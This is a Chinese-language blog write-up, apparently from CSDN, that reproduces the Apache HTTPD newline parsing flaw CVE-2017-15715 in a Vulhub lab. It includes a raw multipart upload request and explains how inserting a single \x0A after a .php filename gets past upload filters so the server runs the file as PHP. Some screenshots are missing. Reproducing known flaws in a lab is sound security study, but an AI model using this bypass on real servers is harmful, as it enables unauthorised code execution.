利用Vulnhub复现漏洞 - Apache HTTPD 换行解析漏洞(CVE-2017-15715)

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

    • Vulnhub官方复现教程
      • 背景简述
      • 漏洞详情
    • 复现漏洞
      • 启动环境
      • 漏洞复现

Vulnhub官方复现教程

https://vulhub.org/#/environments/httpd/CVE-2017-15715/

背景简述

Apache HTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。

漏洞详情

其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。

复现漏洞

启动环境

https://blog.csdn.net/JiangBuLiu/article/details/93853056

启动后Apache运行在http://your-ip:8080。
如果出现问题,可能是端口被占用,查看端口是否被占用

netstat -ntlp

解决办法在https://blog.csdn.net/JiangBuLiu/article/details/93853056,Ctrl+F移除环境

漏洞复现

设置好Burp和浏览器后,在攻击机上访问http://your-ip:8080
【注意】本文中所有的your-ip请改为自己的IP地址
上传一个名为CVE-2017-15715.php的文件,被拦截:

POST /HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip,deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0
Connection: close
Content-Type: multipart/form-data;boundary=---------795556870
Content-Length: 220

---------795556870
Content-Disposition: form-data; name="name"

1.php
---------795556870
Content-Disposition: form-data; name="file"; filename="1.php"


---------795556870--

"boundary"是用来隔开表单中不同部分数据的。“boundary”-般由系统随机产生,但也可以简单的用------"来代替
上传文件“1.php”,内容为:
[外链图片转存失败(img-nGjW76pN-1562319539690)(https://vulhub.org/vulhub/httpd/CVE-2017-15715/1.png)]

在1.php后面插入一个\x0A(注意,不能是\x0D\x0A,只能是一个\x0A),不再拦截:

[外链图片转存失败(img-vQrkRVyc-1562319539690)(https://vulhub.org/vulhub/httpd/CVE-2017-15715/2.png)]

访问刚才上传的/1.php%0a,发现能够成功解析,但这个文件不是php后缀,说明目标存在解析漏洞:
[外链图片转存失败(img-8FUt2Zo6-1562319539691)(https://vulhub.org/vulhub/httpd/CVE-2017-15715/3.png)]

你可能感兴趣的:(渗透)